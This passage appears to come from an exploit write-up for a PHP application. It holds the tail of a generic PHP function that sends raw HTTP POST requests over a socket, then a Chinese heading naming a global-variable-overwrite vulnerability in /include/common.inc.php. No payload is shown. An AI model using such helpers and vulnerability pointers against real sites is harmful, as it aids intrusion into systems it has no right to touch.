$cookie='') { $buffer=''; $fp = fsockopen($host,$port,$errno,$errstr,$timeout); if(!$fp) die($host.'/'.$path.' : '.$errstr.$errno); else { fputs($fp, "POST $path HTTP/1.0\r\n"); fputs($fp, "Host: $host\r\n"); fputs($fp, "Content-type: application/x-www-form-urlencoded\r\n"); fputs($fp, "Content-length: ".strlen($data)."\r\n"); fputs($fp, "Connection: close\r\n\r\n"); fputs($fp, $data."\r\n\r\n"); while(!feof($fp)) { $buffer .= fgets($fp,4096); } fclose($fp); } return $buffer; } ?> 全局變量覆蓋漏洞 /include/common.inc.php